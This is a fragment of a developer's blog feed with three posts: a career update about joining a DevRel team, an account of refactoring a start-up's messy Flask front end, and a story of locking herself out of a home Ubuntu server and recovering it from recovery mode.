&lt;h2&gt;…be grateful to everyone who helps you make lemonade &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;lemon&quot;&gt;🍋&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;In the meantime, I got invited to my first speaking engagement outside of Singapore by &lt;a href=&quot;https://imakewebsites.hk/&quot;&gt;Charis Rooda&lt;/a&gt; for &lt;a href=&quot;https://www.webconf.asia/&quot;&gt;Webconf.asia&lt;/a&gt;, as well as had my first CFP acceptance for &lt;a href=&quot;https://pitercss.com/&quot;&gt;piterCSS&lt;/a&gt;, for the same topic (thank you, &lt;a href=&quot;https://twitter.com/pepelsbey&quot;&gt;Vadim&lt;/a&gt;). I hadn&apos;t been much of a public speaker up till that point, I mean, hosting a meetup is different from standing on a conference stage, right?&lt;/p&gt;
&lt;p&gt;But given my state of fun-employment for the bulk of 2017, I got the opportunity to do a lot of things that I probably wouldn&apos;t have been able to handle with a typical full-time job, like getting involved with the &lt;a href=&quot;http://w3c.github.io/clreq/charter/&quot;&gt;Chinese Language Requirements Task Force&lt;/a&gt;, writing a lot more articles, helping out with events like the &lt;a href=&quot;https://hacks.mozilla.org/2017/02/devroadshow/&quot;&gt;Mozilla Developer Asia Roadshow&lt;/a&gt;, and travelling to speak at conferences.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;On the road with these fine folks&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/1827-days/moz-480.jpg 480w, /images/posts/1827-days/moz-640.jpg 640w, /images/posts/1827-days/moz-960.jpg 960w, /images/posts/1827-days/moz-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/1827-days/moz-640.jpg&quot; alt=&quot;Mozilla Developer Roadshow team in KL&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;All that travel allowed me to meet and hear from people I never otherwise would have in person. I made friends with developers from the Russian-speaking web community, chatted with developers who actually built browsers, as well as specification editors. Hearing perspectives from the various roles in tech was also very eye-opening for someone who hasn&apos;t been in this industry all that long.&lt;/p&gt;
&lt;h2&gt;Beginning a new role&lt;/h2&gt;
&lt;p&gt;I&apos;ve been helped along by so many people, and this makes me want to pay it forward. As grateful as I am for the opportunities I&apos;ve been afforded, I also want these opportunities to be available to people from my region and my community.&lt;/p&gt;
&lt;p&gt;As of today, I&apos;m one week into my new role with &lt;a href=&quot;https://www.nexmo.com/&quot;&gt;Nexmo&lt;/a&gt; on their &lt;a href=&quot;https://www.nexmo.com/blog/2017/03/14/one-year-developer-relations-nexmo-dr/&quot;&gt;Developer Relations&lt;/a&gt; team. Personally, I didn&apos;t even know what Developer Relations was until I met people in such roles while at conferences. After finding out what it was, I never thought it&apos;d be a possibility for me because DevRel isn&apos;t really a thing in my region.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hello from Nexmo&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/1827-days/nexmo-480.jpg 480w, /images/posts/1827-days/nexmo-640.jpg 640w, /images/posts/1827-days/nexmo-960.jpg 960w, /images/posts/1827-days/nexmo-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/1827-days/nexmo-640.jpg&quot; alt=&quot;At the London office&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;But through a series of fortunate events, I&apos;m excited to be taking up this new role as a Developer Advocate. I might be rubbish at it, but I would be doing myself a disservice if I didn&apos;t give it a shot. One of the things I&apos;ll be doing is chronicling my journey as I learn more about DevRel, from a Southeast-asian perspective.&lt;/p&gt;
&lt;p&gt;Not sure where I&apos;ll post those, maybe here, maybe on a separate site, but stay tuned for updates! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Refactoring an inherited codebase</title><link>https://chenhuijing.com/blog/refactoring-an-inherited-codebase/</link><guid isPermaLink="true">https://chenhuijing.com/blog/refactoring-an-inherited-codebase/</guid><description>So for 2018, I got myself some gainful employment doing full-time frontend development work. You know, the kind where you go to an office, and have colleagues…</description><pubDate>Mon, 27 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So for 2018, I got myself some gainful employment doing full-time frontend development work. You know, the kind where you go to an office, and have colleagues and bosses? Also, pay cheques and CPF (that&apos;s the Singapore equivalent of a retirement fund), love those. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;money bag&quot;&gt;💰&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;money bag&quot;&gt;💰&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;money bag&quot;&gt;💰&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Anyhow, one of my responsibilities was to refactor and clean-up the frontend codebase for the company&apos;s existing products. It&apos;s not that I&apos;ve never refactored codebases before, half my career was built on refactoring legacy projects, but these were a bit larger and messier than my previous projects. And note that I used the word products, with an ‘s’.&lt;/p&gt;
&lt;p&gt;But first, some back-story.&lt;/p&gt;
&lt;ol&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Start-up founder has great idea.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Start-up founder throws together prototype with some interns to show potential clients&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Potential clients become actual clients&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Actual clients make feature requests&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Interns add features the best they can&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Product&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I believe such a situation is far from uncommon, and pretty much every start-up you throw a stone at has some similar history. So I&apos;m not throwing shade at my employer at all. In fact, I admire the fact that they executed a great idea with limited resources, and managed to on-board actual paying clients. Much kudos for that.&lt;/p&gt;
&lt;h2&gt;Assessing the situation&lt;/h2&gt;
&lt;p&gt;I was informed, before joining the organisation, that the code base needed work. Things worked, but under the hood, it was getting unmanageably messy with increased throughput and piling feature requests. And with that, I decided a general strategy was in order before any actual coding or refactoring was to take place. I thought a 3-phase approach could work for this instance.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;General strategy and approach&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/plan-480.png 480w, /images/posts/refactoring/plan-640.png 640w, /images/posts/refactoring/plan-960.png 960w, /images/posts/refactoring/plan-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/plan-640.png&quot; alt=&quot;A three-phase plan&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;By the end of my engagement, &lt;em&gt;phase 3&lt;/em&gt; was still quite far away because there were significant architectural changes required for the entirety of the application. But hey, &lt;em&gt;phase 2&lt;/em&gt; (clean-up) alone was already a significant endeavour.&lt;/p&gt;
&lt;p&gt;I hadn&apos;t had much experience with Python applications prior to this, but I&apos;ve come to realise that certain patterns are prevalent when it comes to web applications. The product that I had to tackle was built on &lt;a href=&quot;http://flask.pocoo.org/&quot;&gt;Flask&lt;/a&gt;, and since I was hired for a frontend role, almost all my work took place exclusively in the &lt;code&gt;static&lt;/code&gt; and &lt;code&gt;templates&lt;/code&gt; folders. Almost.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Structure of a basic Flask application
PROJECT_FOLDER/
    |-- yourapplication.py
    |-- static/
    |   `-- style.css
    `-- templates/
        |-- layout.html
        |-- index.html
        |-- login.html
        `-- …
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given that I was the first dedicated frontend role they ever hired, it was no surprise that the state of the project&apos;s frontend was, how shall we put this, left wanting. Apparently, the backend of things wasn&apos;t much prettier, but again, I doubt most start-ups have well-architected codebases until later on in their lifespan.&lt;/p&gt;
&lt;h3&gt;Preliminary site assessment&lt;/h3&gt;
&lt;p&gt;Before diving into the code proper, I did a basic click-around, to get an idea of the look and feel of the site, and what it did. To me, this was a pretty important step, because you can only encounter a site &lt;em&gt;for the first time&lt;/em&gt;, once in your life. And I took notes. Notes on things that took me a while to figure out, places where I had to ask “hmmm, now what does this even mean?”, functionality that required extra cognitive effort to comprehend.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Not sure what those do…&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/unknown-inputs-480.jpg 480w, /images/posts/refactoring/unknown-inputs-640.jpg 640w, /images/posts/refactoring/unknown-inputs-960.jpg 960w, /images/posts/refactoring/unknown-inputs-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/unknown-inputs-640.jpg&quot; alt=&quot;Mysterious inputs without labels&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;As someone who has been building interfaces for a living over the past 5 years, believe me when I say, people who work on the product itself on a daily basis are the worst group to do user testing with. Because we interact with the product, bugs and all, way more frequently than normal users.&lt;/p&gt;
&lt;p&gt;Hence, we inadvertently become blind to numerous usability issues simply because whatever we do to workaround the issue, has been committed to muscle memory. Even if it&apos;s something unintuitive, like having to click certain things in a specific sequence for it to work.&lt;/p&gt;
&lt;p&gt;All of this was documented into a trusty spreadsheet. I don&apos;t know about you, but I&apos;m rather fond of spreadsheets as an organisational tool. To me, it&apos;s the easiest way to organise data into useful information. But that&apos;s just me. You do you.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;What can I say, I like spreadsheets&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/tracker-480.jpg 480w, /images/posts/refactoring/tracker-640.jpg 640w, /images/posts/refactoring/tracker-960.jpg 960w, /images/posts/refactoring/tracker-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/tracker-640.jpg&quot; alt=&quot;Compiling findings into a Google Sheets document&quot;&gt;
&lt;/figure&gt;
&lt;h3&gt;Site analysis with tools&lt;/h3&gt;
&lt;p&gt;The most basic analysis can be done via DevTools in any of the major browsers from the &lt;em&gt;Network&lt;/em&gt; tab. It&apos;s more of a personal preference, but I prefer how Chrome and Firefox do it, where both of them tell you the number of requests, size of transfer, time it takes to finish loading, and when &lt;code&gt;DOMContentLoaded&lt;/code&gt; is fired.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hmmm, a bit on the heavy-side here&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/performance-480.png 480w, /images/posts/refactoring/performance-640.png 640w, /images/posts/refactoring/performance-960.png 960w, /images/posts/refactoring/performance-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/performance-640.png&quot; alt=&quot;Chrome&apos;s network tab&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;After working through the entire product, I came up to a total of 24 different pages, some ranging from pure textual content to others with a whole lot of business logic for creating complex rules and conditions. I tossed my findings into the aforementioned spreadsheet and ended up with the following statistics:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Average number of requests: 76&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Average page weight: 6.017mb&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Total number of external JS libraries: 49&lt;/li&gt;
  &lt;li&gt;Total number of external CSS files: 30&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chrome also has &lt;a href=&quot;https://developers.google.com/web/updates/2017/04/devtools-release-notes&quot;&gt;a nifty code coverage tool&lt;/a&gt; that gives you a general idea of how much redundant code is present in your application. Usually the biggest source of redundant code comes from external libraries, but sometimes this is inevitable, so it&apos;s necessary to look deeper than just the raw numbers themselves.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;That&apos;s quite a lot of unused code&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/coverage-480.jpg 480w, /images/posts/refactoring/coverage-640.jpg 640w, /images/posts/refactoring/coverage-960.jpg 960w, /images/posts/refactoring/coverage-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/coverage-640.jpg&quot; alt=&quot;Chrome&apos;s coverage tool&quot;&gt;
&lt;/figure&gt;
&lt;h3&gt;Evaluating audit results&lt;/h3&gt;
&lt;p&gt;It became clear that any attempt to refactor the code would take significantly more time and effort than I could afford with my one-woman team. I call this the &lt;em&gt;one-brain-two-hands&lt;/em&gt; problem, i.e. Hui Jing only has 1 brain and 2 hands.&lt;/p&gt;
&lt;p&gt;Data from the backend was being passed to the frontend via Jinja variables. On occasion, some of the variables were not simply raw data, but contained preformatted strings and values that made it tricky to change the way things were implemented.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This was painful to go through, to be honest&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/messy-code-480.png 480w, /images/posts/refactoring/messy-code-640.png 640w, /images/posts/refactoring/messy-code-960.png 960w, /images/posts/refactoring/messy-code-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/messy-code-640.png&quot; alt=&quot;Mish-mash of HTML, CSS, JavaScript and Jinja variables&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;There was a large amount of inline JavaScript in the template files, where Jinja variables were directly called and used within JavaScript functions between &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;&lt;/code&gt; tags. That was a hard no for me, and I insisted on extracting all JavaScript into separate &lt;code&gt;.js&lt;/code&gt; files and keeping the templates clean of inline styles and scripts.&lt;/p&gt;
&lt;h2&gt;Burn it down, build it up&lt;/h2&gt;
&lt;p&gt;To be honest, I wouldn&apos;t recommend this approach lightly. But given the circumstances, that:&lt;/p&gt;
&lt;ul style=&quot;list-style:upper-alpha&quot;&gt;
    &lt;li class=&quot;no-margin&quot;&gt;it wasn&apos;t too large an application&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;there was no proper HTML structure at all&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;external libraries were outdated and installed inconsistently&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;the code was a hodgepodge of Jinja variables in inline scripts and inline styles and&lt;/li&gt;
    &lt;li&gt;there was the fact that &lt;em&gt;my youth was slipping away&lt;/em&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I decided to rip out all the styles and scripts and rewrite them from scratch, only including external JavaScript libraries, like &lt;a href=&quot;https://momentjs.com/&quot;&gt;Moment.js&lt;/a&gt; and &lt;a href=&quot;https://www.chartjs.org/&quot;&gt;Chart.js&lt;/a&gt;, where necessary.&lt;/p&gt;
&lt;p&gt;Although my team was comprised of my left hand and my right hand (and also my brain, a very important member of the team), I was reasonably confident I could pull this off because I can CSS faster than most developers I know, so the look-and-feel part of things wouldn&apos;t take me too long. From a UI functionality perspective, things didn&apos;t appear to be overly complicated.&lt;/p&gt;
&lt;p&gt;Even so, it probably took &lt;strong&gt;5 full man-months&lt;/strong&gt; worth of effort to finish up the initial rewrite, housekeeping and documentation work. In the meantime, there were also demos to be built (for tradeshows and the like), as well as my own non-employer related commitments. So it&apos;s safe to say I kept busy for the past 8 months.&lt;/p&gt;
&lt;h3&gt;Function matching&lt;/h3&gt;
&lt;p&gt;I&apos;d like to say there were functional requirements that I could refer to when doing the rewrite, but unfortunately, there were none. Or at least none that were updated to reflect how the product functioned in its current state. But if all was well, I wouldn&apos;t have gotten the job now, would I?&lt;/p&gt;
&lt;p&gt;Plan B: run an instance of the application that tracked the current master release and match all observable functionality as I rewrote every page of the application. I would like to reiterate that this worked only because the application was of a manageable size to begin with.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Original on the left, rewrite on the right&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/before-after-480.png 480w, /images/posts/refactoring/before-after-640.png 640w, /images/posts/refactoring/before-after-960.png 960w, /images/posts/refactoring/before-after-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/before-after-640.png&quot; alt=&quot;Before and After look and feel&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;This approach also flushed out a large number of implementation issues. for example, there were limited REST APIs by which to access information stored in the database, because the previous implementation used Jinja variables directly into inline JavaScript functions. See exhibit below:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script&amp;gt;
  (function() {
    $(document).ready(function() {
      $(&apos;input[name=&amp;quot;is_activated&amp;quot;]&apos;).bootstrapSwitch();

      var formData = {{ formData|tojson }};
      {% if name %}
      $(&amp;quot;#rule_form_name_input&amp;quot;).val(htmlTextToString(&amp;quot;{{ name }}&amp;quot;));
      {% endif %}
      {% if description %}
      $(&amp;quot;#comments-text&amp;quot;).val(unescapeJs(&amp;quot;{{ description|escapejs }}&amp;quot;));
      {% endif %}

      var editorHelpers = EditorHelpers();

      {% for field in fields %}editorHelpers.addSelectData(&amp;quot;field&amp;quot;, &amp;quot;{{ field[&apos;name&apos;]|safe }}&amp;quot;, &amp;quot;{{ field[&apos;display_name&apos;]|safe }}&amp;quot;, {{ field[&apos;filter_equivalence_classes&apos;]|tojson }});{% endfor %}
      {% for operator in operators %}editorHelpers.addSelectData(&amp;quot;operator&amp;quot;, &amp;quot;{{ operator[&apos;name&apos;]|safe }}&amp;quot;, &amp;quot;{{ operator[&apos;display_name&apos;]|safe }}&amp;quot;, {{ operator[&apos;filter_equivalence_classes&apos;]|tojson }});{% endfor %}
      {% for value in values %}editorHelpers.addSelectData(&amp;quot;value&amp;quot;, &amp;quot;{{ value[&apos;name&apos;]| replace(&apos;\r\n&apos;, &apos; &apos;) }}&amp;quot;, &amp;quot;{{ value[&apos;display_name&apos;]| replace(&apos;\r\n&apos;, &apos; &apos;) }}&amp;quot;, {{ value[&apos;filter_equivalence_classes&apos;]|tojson }});{% endfor %}

      if (formData!=null) {
        var formAlert = formData[&amp;quot;alert&amp;quot;]
        if (formAlert) {
          editorHelpers.populateAllAlertData(formAlert);
        }
      }
      var groupObjs = [];
      /* Another 200 plus lines of this */
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was also several instances where the data passed to the frontend contained embedded markup, which sort of forced me to modify the Python application files to remove the unwanted pre-processing. So much for leaving the backend alone. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Re-evaluating site performance&lt;/h3&gt;
&lt;p&gt;When the smoke cleared, the statistics of the site were as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Average number of requests: 30&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Average page weight: 311kb&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Total number of external JS libraries: 15&lt;/li&gt;
  &lt;li&gt;Total number of external CSS files: 4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A lot of the weight came from full-featured external libraries whose functionalities were barely used. A large amount of that was either replaced with lightweight alternatives or rewritten from scratch.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Loaded code from 5.1mb down to 291kb&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/coverage2-480.png 480w, /images/posts/refactoring/coverage2-640.png 640w, /images/posts/refactoring/coverage2-960.png 960w, /images/posts/refactoring/coverage2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/coverage2-640.png&quot; alt=&quot;Coverage tool results after rewrite&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The only external CSS loaded were for datepickers and datatables, and even those were customised to include only the relevant styles, so there were a lot of savings on the CSS side of things as well.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;From 83 requests at 7.5mb down to 40 requests at 563kb, with room for improvement&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/refactoring/performance2-480.png 480w, /images/posts/refactoring/performance2-640.png 640w, /images/posts/refactoring/performance2-960.png 960w, /images/posts/refactoring/performance2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/refactoring/performance2-640.png&quot; alt=&quot;Page weight after rewrite&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;As a preliminary assessment, this was a relatively good outcome. There is further room for improvement for a second-pass refactoring, both on the JavaScript side as well as the CSS side, but that portion of work will probably fall to the next person who takes over this project.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;The best analogy I had for this experience was swapping engines on the a flying plane. But I don&apos;t think such situations are an uncommon occurrence, especially in the world of start-ups. I did learn quite a lot from the experience (even picked up a little Python along the way), and not just from a coding perspective.&lt;/p&gt;
&lt;p&gt;Paying off technical debt is not a trivial endeavour at all, and it highlights the importance of having a solid architecture in place before any lines of code are even written. As several experienced seniors have once advised me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The best code is the code not written&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Documentation appears to be another thing that takes a back-seat in start-ups, but the fact is that people will come and go. In an environment with a relatively high attrition rate, proper documentation and handover becomes even more critical to ensure continuity and consistency of the software you&apos;re building.&lt;/p&gt;
&lt;p&gt;In an ideal world where unicorns shit rainbows, we wouldn&apos;t have to do such major rewrites or refactoring projects, however, given that every organisation has their own set of constraints, sometimes it is just an inevitable part of the product development process.&lt;/p&gt;
&lt;p&gt;Here&apos;s to constant improvement, and may the code you write always be better than what you wrote yesterday. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;tumbler glass&quot;&gt;🥃&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>So I mucked up my server last night</title><link>https://chenhuijing.com/blog/so-i-mucked-up-my-server-last-night/</link><guid isPermaLink="true">https://chenhuijing.com/blog/so-i-mucked-up-my-server-last-night/</guid><description>There are 2 kinds of people in the world, those who love the command line and those who don&apos;t. I fall into the former category. Because I was a MS-DOS baby…</description><pubDate>Fri, 24 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There are 2 kinds of people in the world, those who love the command line and those who don&apos;t. I fall into the former category. Because I was a MS-DOS baby (okay, probably 5 or 6 years old), who started my computing journey typing &lt;code&gt;dir/p&lt;/code&gt; and &lt;code&gt;deltree&lt;/code&gt; into that lovely white on black prompt trying to figure out how to run games.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Ah, nostalgia&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/server-upgrade-fail/ms-dos.png&quot; alt=&quot;MS-DOS prompt&quot;/&gt;
&lt;/figure&gt;
&lt;p&gt;P.S. don&apos;t arm a kid with &lt;code&gt;deltree&lt;/code&gt; and leave them unsupervised.&lt;/p&gt;
&lt;p&gt;Some people find it odd that a front-end developer, a CSS-lover no less, likes to play around with servers and sysadmin-related activities. I also enjoy building my own machines, sourcing for parts and all that. Stop categorising people into little boxes, I say.&lt;/p&gt;
&lt;h2&gt;The Ubuntu upgrade that went south&lt;/h2&gt;
&lt;p&gt;Anyway, I have a home-made low-powered NAS running under my desk which serves all my media files, and it was running Ubuntu 16.04 since I built it. But now that 18.04 has been out for a bit, I thought I&apos;d do an upgrade last night.&lt;/p&gt;
&lt;p&gt;In hindsight, it probably wasn&apos;t the best idea to run &lt;code&gt;sudo do-release-upgrade&lt;/code&gt; at 9.30pm in the evening, but I&apos;m not known for making good decisions. The issue with my server is that I&apos;ve had this long-standing issue with &lt;em&gt;mdadm&lt;/em&gt; whereby the package is broken but I cannot purge nor reinstall it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Setting up mdadm (3.3-2ubuntu7.1) ...
dpkg: error processing package mdadm (--configure):
subprocess installed post-installation script returned error exit status 20
Errors were encountered while processing:
 mdadm
E: Sub-process /usr/bin/dpkg returned an error code (1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://askubuntu.com/questions/786356/broken-package-but-cannot-purge-or-reinstall-it&quot;&gt;Stack Overflow&lt;/a&gt; tried to help but to no avail, but given that I can still serve files off the server, I&apos;ve left it alone. For more than 2 years. And now it sort of came back around to bite me on the ass, because this issue interrupted the upgrade process.&lt;/p&gt;
&lt;p&gt;I wasn&apos;t sure what happened exactly but it seemed like the upgrade went along halfway but when I ran &lt;code&gt;sudo apt-get update&lt;/code&gt; and &lt;code&gt;sudo apt-get upgrade&lt;/code&gt;, after a reboot, there were loads of packages that needed to be updated, so I think the upgrade went through.&lt;/p&gt;
&lt;h2&gt;The shell problem&lt;/h2&gt;
&lt;p&gt;Unfortunately, my &lt;a href=&quot;https://fishshell.com/&quot;&gt;fish shell&lt;/a&gt; went haywire, not sure what happened there exactly, as it appeared there was some issue with my &lt;a href=&quot;https://github.com/oh-my-fish/oh-my-fish&quot;&gt;oh-my-fish&lt;/a&gt; installation broke as well. I thought removing and reinstalling the whole setup would help.&lt;/p&gt;
&lt;p&gt;In hindsight, if I did it properly it probably would have. But I obviously did not. It was late. I wasn&apos;t thinking. But instead of removing the package via &lt;code&gt;apt&lt;/code&gt;, I removed the entire &lt;code&gt;/usr/bin/fish&lt;/code&gt; folder &lt;strong&gt;without&lt;/strong&gt; setting default shell back to bash first.&lt;/p&gt;
&lt;p&gt;And then, I logged out. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person facepalming&quot;&gt;🤦‍♀️&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I had effectively locked myself out of the server as the system got caught in a login loop and could no longer login via ssh anymore. Fortunately, I could directly access the server and login as root via safe boot.&lt;/p&gt;
&lt;h2&gt;What I learnt about recovery mode&lt;/h2&gt;
&lt;p&gt;There was some mild panicking when I couldn&apos;t see my default user&apos;s home directory. I thought the entire user somehow got wiped, but when I tried to recreate the user, it already existed.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;cut -d: -f1 /etc/passwd&lt;/code&gt; showed that my user was still there, just that somehow &lt;code&gt;/home&lt;/code&gt; was completely empty. I was under the &lt;em&gt;incorrect assumption&lt;/em&gt; that every user&apos;s home directory was visible to &lt;em&gt;root&lt;/em&gt;, but clearly I was very wrong.&lt;/p&gt;
&lt;p&gt;It was only when I tried to login as my default user when I realised that deleting the &lt;code&gt;/usr/bin/fish&lt;/code&gt; was a terrible idea. And the way to fix it was to change the default user&apos;s shell back to &lt;code&gt;bash&lt;/code&gt; by editing the &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Unfortunately, I ran into this error:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cannot lock /etc/passwd; try again later.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span class=&quot;kaomoji&quot;&gt;ಠ_ಠ&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Okay, to the Googlez once more. This time I came away with the command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mount -o remount, -rw /dev/sda1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing actually happened when I ran this, which I figured was a good thing. Because when I tried to save my changes in the &lt;code&gt;/etc/passwd&lt;/code&gt; file, it worked.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This post was written more for myself than for anyone else, because I&apos;m pretty sure I&apos;ll do something stupid like this again, and so I&apos;ll have something to refer to when I have to undertake similar recovery efforts.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;TL:DR, don&apos;t do sysadmin stuff when you&apos;re half-asleep. &lt;a href=&quot;https://www.reddit.com/r/gitlab/comments/5rd8ek/gitlab_database_incident_writeup/&quot;&gt;Bad things can happen&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;In spite of all the trouble, all is well in server-land again&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/server-upgrade-fail/ubuntu-480.png 480w, /images/posts/server-upgrade-fail/ubuntu-640.png 640w, /images/posts/server-upgrade-fail/ubuntu-960.png 960w, /images/posts/server-upgrade-fail/ubuntu-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/server-upgrade-fail/ubuntu-640.png&quot; alt=&quot;Server running Ubuntu 18.04.1 LTS&quot; /&gt;
